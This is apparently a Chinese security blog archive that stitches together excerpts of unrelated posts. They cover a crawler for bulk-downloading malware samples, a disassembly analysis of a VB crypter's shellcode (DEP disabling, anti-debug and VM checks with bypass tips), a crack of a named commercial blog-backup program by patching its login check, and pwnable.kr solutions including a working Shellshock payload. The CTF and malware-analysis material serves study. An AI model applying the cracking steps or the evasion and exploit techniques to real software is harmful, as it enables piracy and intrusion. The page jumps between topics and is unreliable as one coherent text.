病毒样本快到碗里来,一个样本下载爬虫的实现


简介

Malwar是一个使用了Cuckoo Sanbox的在线恶意软件分析系统,由于它提供一些病毒样本下载,就想能不能写个爬虫把样本下下来。顺便写篇博客记录下。
页面分析

打开 https://malwr.com/analysis ,我们可以当前页看到有TimeStamp、md5、文件名、文件类型和杀软查杀数,下一页类似。

只有MD5的超链接可以点,点进去看看,

我写这个的爬虫的目的是下载样本,只关心样本的下载地址,并不关心其他的信息。

现在我们可以理清下思路:

   获取每一页的网页源码
   解析当前页的每一个md5对应的详细信息链接
   在详细信息页面解析下载地址。

AOSP-docker编译安卓源码绕过反调试

看了很多编译源码的文章,发现很多都有坑,大部分都是环境配置问题,编译不同版本的源码jdk版本不一样,ubuntu版本也不一样。这很让人蛋疼,光是折腾环境就得半天了。

自从有了docker就不一样了,有人把Android源码编译的环境打包成了docker,就是AOSP docker;这样我们就不需要去折腾环境,直接拿人家弄好的来用。

推荐使用linux装docker,不用管是debian还是ubuntu;虽然windows也可以使用docker,但是还是有点小问题。

VB Crypt Payload

分析VB样本的时候发现有几种混淆方式,记录下。

替换函数指针

样本shah:a66f989e58ada2eff729ac2032ff71a159c521e7372373f4a1c1cf13f8ae2f0c

载入vb.idc脚本,脚本分析完后,查看event handle函数,

 .text:00463E14 _O_Pub_Obj_Inf1_Ctl_Inf0x3_0x7_lpForm_Load        dd offset Hdr_Jmp_Addr_0x46549A      ; Ptr to Form Load Event Code.
 ....

 .text:00463E78                 sub     [esp+arg_0], 0FFFFh
 .text:00463E80                 jmp     _O_Pub_Obj_Inf1_Method0x1

 .text:00463E85          Hdr_Jmp_Addr_0x46549A:       ; DATA XREF:.text:_O_Pub_Obj_Inf1_Ctl_Inf0x3_0x7_lpForm_Load↑o
 .text:00463E85                 sub     dword ptr [esp+4], 3Bh ; ';' ; Flags and Code Address
 .text:00463E8D                 jmp     _O_Pub_Obj_Inf1_Event0x2

_O_Pub_Obj_Inf1_Event0x2就是处理Form_load的函数,一般malicious code都是在这里实现。
接着往下看。
这里计算处shellcode的地址。0x43AF4B=1526C77h/(sqr(25.0))

.text:00465D83                        mov     [ebp+var_50], 1526C77h
.text:00465D8A                        fld     ds:dbl_401118   ;25.0
.text:00465D90                        push    ecx
.text:00465D91                        push    ecx
.text:00465D92                        fstp    qword ptr [esp+8+var_8]
.text:00465D95                        call    rtcSqr
.text:00465D9A                        call    __vbaFpI4
.text:00465D9F                        mov     ecx, eax

[eax+0x6f8] 这个函数将shellcode地址替换,arg_0为Form_load的第一个参数,也就是Form类。

.text:00465DA8                        mov     eax, [ebp+arg_0]
.text:00465DAB                        mov     eax, [eax]
.text:00465DAD                        push    [ebp+arg_0]
.text:00465DB0                        call    dword ptr [eax+6F8h]

[eax]中存放的是地址虚表,[eax+6f8h]地址正好是OPub_Obj_Inf1_Method0x1方法,


.data:0046737C dd offset msvbvm60_BASIC_CLASS_QueryInterface
.data:00467380 dd offset msvbvm60_BASIC_CLASS_AddRef
.data:00467384 dd offset msvbvm60_BASIC_CLASS_Release
...
.data:00467A6C dd 72A44A98h
.data:00467A70 dd 72A44AA0h
.data:00467A74 dd 463E80h                 ; ptr _O_Pub_Obj_Inf1_Method0x1
.data:00467A78 dd 463E8Dh                 ; ptr _O_Pub_Obj_Inf1_Event0x2 
...

替换指针,进入shellcode执行代码

.text:00464434 add     eax, 2B0h
.text:00464439 jo      loc_465495
.text:0046443F mov     [ebp+var_20], eax
.text:00464442 push    [ebp+arg_4] ;shellcode地址
.text:00464445 push    [ebp+var_20] ;[eax+0x2b0]
.text:00464448 call    replace_ptr
....
.text:004644C3 call    dword ptr [eax+2B0h]

在shellcode中并没有使用常规的方式获取api地址,而是先找到msvbvm60模块的地址,再通过到处函数DllFunction来获得对应API的地址。
中间穿插了大量的花指令。

.text:0043B10F get_api_address proc near                                                                           ; CODE XREF: sub_43AF88:loc_43AF89↑p
.text:0043B10F                                                                                                     ; sub_43B07C+2B↑p
.text:0043B10F
.text:0043B10F var_14          = dword ptr -14h
.text:0043B10F anonymous_2     = dword ptr -10h
.text:0043B10F anonymous_1     = dword ptr -0Ch
.text:0043B10F anonymous_0     = dword ptr -8
.text:0043B10F var_4           = dword ptr -4
.text:0043B10F
.text:0043B10F                 mov     eax, large fs:30h ;peb地址
.text:0043B115                 packuswb mm1, mm1
.text:0043B118                 mov     eax, [eax+0Ch] ;PEB_LDR_DATA
.text:0043B11B                 pcmpgtb mm5, mm4
.text:0043B11E                 mov     eax, [eax+14h];get InMemoryOrderModuleList
.text:0043B121                 pcmpeqw mm2, mm7
.text:0043B124
.text:0043B124 loc_43B124:                                                                                         ; CODE XREF: get_api_address+29↓j
.text:0043B124                                                                                                     ; get_api_address+36↓j
.text:0043B124                 mov     eax, [eax]
.text:0043B126                 punpckhdq mm1, mm3
.text:0043B129                 mov     ebx, [eax+28h]
.text:0043B12C                 pcmpgtw xmm7, xmm6
.text:0043B130                 mov     esi, 53004Ch     ; 
.text:0043B135                 inc     esi              ;MS for msvbvm60.dll 
.text:0043B136                 cmp     [ebx], esi
.text:0043B138                 jnz     short loc_43B124
.text:0043B13A                 pcmpgtb xmm3, xmm7
.text:0043B13E                 cmp     dword ptr [ebx+4], 420056h ;VB for MS for msvbvm60.dll 
.text:0043B145                 jnz     short loc_43B124
.text:0043B147                 pcmpgtd xmm0, xmm3
.text:0043B14B                 mov     esi, [eax+10h]
.text:0043B14E                 pcmpgtw xmm6, xmm6
.text:0043B152                 push    esi
.text:0043B153                 pcmpgtb mm3, mm4
.text:0043B156                 mov     ebx, [esi+3Ch]
.text:0043B159                 punpckhwd xmm0, xmm2
.text:0043B15D                 mov     esi, [esp+4+var_4]
.text:0043B160                 punpckhbw xmm5, xmm1
.text:0043B164                 add     esi, ebx
.text:0043B166                 pcmpeqd xmm0, xmm1
.text:0043B16A                 mov     ebx, [esi+78h]
.text:0043B16D                 pcmpeqw mm6, mm3
.text:0043B170                 mov     eax, [esp+4+var_4]
.text:0043B173                 punpckhwd xmm3, xmm7
.text:0043B177                 add     eax, ebx
.text:0043B179                 punpckhbw xmm4, xmm4
.text:0043B17D                 mov     esi, eax
.text:0043B17F                 pcmpeqb xmm4, xmm6
.text:0043B183                 add     esi, 28h ; '('
.text:0043B186                 pcmpeqw mm1, mm2
.text:0043B189
.text:0043B189 loc_43B189:                                                                                         ; CODE XREF: get_api_address+80↓j
.text:0043B189                                                                                                    get_api_address+94↓j ...
.text:0043B189                 lodsd
.text:0043B18A                 punpckhdq mm0, mm6
.text:0043B18D                 test    eax, eax
.text:0043B18F                 jz      short loc_43B189
.text:0043B191                 packssdw xmm4, xmm7
.text:0043B195                 add     eax, [esp+4+var_4]
.text:0043B198                 pcmpeqb xmm6, xmm2
.text:0043B19C                 mov     ebx, 83EC8B55h    ;DllFunctionCall 函数特征
.text:0043B1A1                 cmp     [eax], ebx
.text:0043B1A3                 jnz     short loc_43B189
.text:0043B1A5                 punpckhwd mm0, mm4
.text:0043B1A8                 cmp     dword ptr [eax+4], 8D560CECh  ;DllFunctionCall 函数特征
.text:0043B1AF                 jnz     short loc_43B189
.text:0043B1B1                 pcmpgtb mm6, mm4
.text:0043B1B4                 pop     ebx
.text:0043B1B5                 pcmpeqd xmm0, xmm1
.text:0043B1B9                 xor     ebx, ebx
.text:0043B1BB                 pcmpeqw mm6, mm3
.text:0043B1BE                 push    ebx
.text:0043B1BF                 punpckhwd xmm3, xmm7
.text:0043B1C3                 push    ebx
.text:0043B1C4                 punpckhbw xmm4, xmm4
.text:0043B1C8                 push    ebx
.text:0043B1C9                 pcmpeqb xmm4, xmm6
.text:0043B1CD                 push    esp
.text:0043B1CE                 pcmpeqw mm1, mm2
.text:0043B1D1                 push    0
.text:0043B1D3                 punpckhdq mm0, mm6
.text:0043B1D6                 add     [esp+14h+var_14], 40000h
.text:0043B1DD                 packssdw xmm4, xmm7
.text:0043B1E1                 push    edx
.text:0043B1E2                 pcmpeqb xmm6, xmm2
.text:0043B1E6                 push    ecx
.text:0043B1E7                 punpckhwd mm0, mm4
.text:0043B1EA                 push    esp
.text:0043B1EB                 pcmpgtb mm6, mm4
.text:0043B1EE                 call    eax
.text:0043B1F0                 pcmpeqd xmm0, xmm1
.text:0043B1F4                 add     esp, 1Ch
.text:0043B1F7                 pcmpeqw mm6, mm3
.text:0043B1FA                 retn
.text:0043B1FA get_api_address endp

通过get_api_address函数获得shellNoitdyIconW函数。并调用两次。
第一次调用的时候dwMessage参数为NIM_ADD,打开控制面板\所有控制面板项\通知区域图标会发现下面有一个空白的
这是因为PNOTIFYICONDATA被垃圾数据填充了。第二次传入NIM_DELETE删除托盘图标。

.text:0043AF89 call    get_api_address
.text:0043AF8E push    eax
.text:0043AF8F push    dword ptr [ebp+52h] ;NOTIFYICONDATA结构体
.text:0043AF92 push    0                   ;NIM_ADD
.text:0043AF94 call    eax
.text:0043AF96 cmp     eax, 1
.text:0043AF99 jz      short $+2
.text:0043AF9B
.text:0043AF9B loc_43AF9B:                                                                                         ; CODE XREF: .text:0043AF99↑j
.text:0043AF9B pop     eax
.text:0043AF9C push    dword ptr [ebp+52h]
.text:0043AF9F push    2                   ;NIM_DELETE 
.text:0043AFA1 call    eax

使用ZwSetInformationProcess绕过DEP保护的原理如下

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

    NtSetInformationProcess(
    -1,//当前进程
    ProcessExecuteFlags, // 0x22
    &ExecuteFlags, // executeFlag=2; 设置为2关闭DEP
    sizeof(ExecuteFlags)); // 0x4

关闭DEP以避免在栈上执行代码出现异常等问题。

.text:0043B1FF push    'ssf'
.text:0043B204 dec     dword ptr [esp+0]   ;sse
.text:0043B207 push    'corQ'
.text:0043B20C dec     [esp+4+var_4]       ;corP
.text:0043B20F push    'noiu'
.text:0043B214 dec     [esp+8+var_8]       ;noit
.text:0043B217 push    'amrp'
.text:0043B21C dec     [esp+0Ch+var_C]     ;amro
.text:0043B21F push    'fnIu'
.text:0043B224 dec     [esp+10h+var_10]    ;fnIt
.text:0043B227 push    'eSw['
.text:0043B22C dec     [esp+14h+var_14]   ;eSwZ
.text:0043B22F mov     edx, esp     ZwSetInformationProcess
.text:0043B231 jmp     loc_43B0A1
...
.text:0043B0A1 punpckhwd mm2, mm6
.text:0043B0A4 pcmpeqd mm2, mm5                                                                                    ; a10
.text:0043B0A7 call    get_api_address
.text:0043B0AC add     esp, 18h
.text:0043B0AF punpckhwd mm0, mm1
.text:0043B0B2 push    4     ;sizeof(ExecuteFlags)
.text:0043B0B4 packsswb mm0, mm2
.text:0043B0B7 push    0  //0
.text:0043B0B9 pcmpgtw mm7, mm4
.text:0043B0BC add     [esp+4+var_4], 400004h
.text:0043B0C3 pcmpeqb mm4, mm0
.text:0043B0C6 push    22h ; '"' ;ProcessExecuteFlags
.text:0043B0C8 punpckhwd xmm1, xmm3
.text:0043B0CC push    0FFFFFFFFh  ;当前进程
.text:0043B0CE punpckhdq mm5, mm5
.text:0043B0D1 call    eax ;ZwSetInformationProcess

反调试

这里使用三处反调试,

  • PEB.BeingDebugged
  • PEB.NtGlobalFlag
Stack[00000B48]:0012D7A8 push    ebp
Stack[00000B48]:0012D7A9 mov     ebp, esp
Stack[00000B48]:0012D7AB mov     eax, large fs:18h
Stack[00000B48]:0012D7B1 mov     eax, [eax+30h]
Stack[00000B48]:0012D7B4 cmp     byte ptr [eax+2], 1 ;BeingDebugged,改成0绕过
Stack[00000B48]:0012D7B8 jz      loc_12DAEF
Stack[00000B48]:0012D7BE nop
Stack[00000B48]:0012D7BF nop
Stack[00000B48]:0012D7C0 mov     eax, large fs:30h
Stack[00000B48]:0012D7C6 nop
Stack[00000B48]:0012D7C7 nop
Stack[00000B48]:0012D7C8 mov     al, [eax+68h]
Stack[00000B48]:0012D7CB nop
Stack[00000B48]:0012D7CC nop
Stack[00000B48]:0012D7CD and     al, 70h ;NtGlobalFlag,将al改成0绕过
Stack[00000B48]:0012D7CF nop
Stack[00000B48]:0012D7D0 nop
Stack[00000B48]:0012D7D1 cmp     al, 70h ; 'p'
Stack[00000B48]:0012D7D3 jz      loc_12DAEF
Stack[00000B48]:0012D7D9 mov     eax, 1         ;检测虚拟机
Stack[00000B48]:0012D7DE cpuid
Stack[00000B48]:0012D7E0 mov     eax, edx
Stack[00000B48]:0012D7E2 shr     eax, 17h
Stack[00000B48]:0012D7E5 and     eax, 1
Stack[00000B48]:0012D7E8 cmp     eax, 1        ;如果为1则是运行在虚拟机内

接着往下走,还有一处反调试

Stack[00000B48]:0012D94B loc_12D94B:                   ; CODE XREF: Stack[00000B48]:0012D965↓j
Stack[00000B48]:0012D94B push    eax
Stack[00000B48]:0012D94C push    0Fh
Stack[00000B48]:0012D94E call    dword ptr [ebp+94h]   ; sleep
Stack[00000B48]:0012D954 pop     eax
Stack[00000B48]:0012D955 push    eax
Stack[00000B48]:0012D956 call    eax                  ; ntdll_NtYieldExecution
Stack[00000B48]:0012D958 cmp     eax, 40000024h
Stack[00000B48]:0012D95D jz      short loc_12D960
Stack[00000B48]:0012D95F inc     edi
Stack[00000B48]:0012D960
Stack[00000B48]:0012D960 loc_12D960:                  ; CODE XREF: Stack[00000B48]:0012D95D↑j
Stack[00000B48]:0012D960 pop     eax
Stack[00000B48]:0012D961 inc     esi
Stack[00000B48]:0012D962 cmp     esi, 20h ; ' '
Stack[00000B48]:0012D965 jnz     short loc_12D94B

豆约翰博客备份专家破解

文笔不好,路过的看官求勿喷。

官网下载程序,解压用dnspy来调试主程序BlogDownloader.exe;虽然被混淆,但这样的保护形同虚设,很容易通过动态调试被破解。

F5开始调试。

点击ok,程序会出现登陆框,要输入账号密码。第一步我们先实现免账号登陆,先随便输个账号密码,利用堆栈回溯来找到下图中高亮部分,这里面就是登陆流程部分。

跳转到目标代码,很明显就是对账号密码的判断,我们只要将第一个判断语句的等于改成不等于,空账号登陆。

Pwnable.kr shellshock

这道题比较简单,对”破壳”漏洞了解的同学都能做出来。

#include <stdio.h>                                                
int main(){                                                       
        setresuid(getegid(), getegid(), getegid());               
        setresgid(getegid(), getegid(), getegid());               
        system("/home/shellshock/bash -c 'echo shock_me'");       
        return 0;                                                 
}                                                                 

源码中调用了题目提供的有漏洞的bash,我们可以构造如下命令来打印出flag:

    env x='() { :;}; /bin/cat flag' ./shellshock

上面这条命令相当于直接使用shellshcok调用的bash直接执行了/bin/cat flag,

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock    
only if I knew CVE-2014-6271 ten years ago..!!                       
Segmentation fault                                                   

先了解这个漏洞的同学可以看看这两篇文章

bash代码注入的安全漏洞
Shellshock漏洞回顾与分析测试

pycurl 分块下载

写爬虫时要下载文件,谁知道文件比较大,然后在下载时候总是丢包,因此参考网上的一些源码写了实现分块下载的功能,有能力的童鞋可以自己改写成多线程的。
这个pycurl的分块下载功能我把它封装成了一个类,直接使用即可,接收5个参数,用法如下

    d = downloader(downloadurl,out_filePath,None,None,None)
    d.download() #调用下载功能下载

pwnable.kr mistake

分析源码,发现下面这段代码有点可疑。

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

熟悉Linux的童鞋都知道文件描述符是不可能小于0的。计算得fd等于0,因为”<”比”=”优先级高,先计算等式右边,打开的文件描述符不可能小于0,因此右边等式等于0,最后fd=0;
文件描述符为0是标准输入,也就是说这个程序实际上并没有读取password文件,而是从标准输入中读取数据。

继续往下看,有个比较,两个buff相等则输出flag。

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){     
      printf("Password OK\n");           
      system("/bin/cat flag\n");         
}                                          

这样,我们只要构造一个满足条件的buffer通过管道传给mistake。buffer满足下面这个条件就能成功拿到key。

pw_buf = pw_buf2^0x1111111111

执行如下命令。

(python -c "print '\x12'*10 + '\x13'*10 ") | ./mistake

,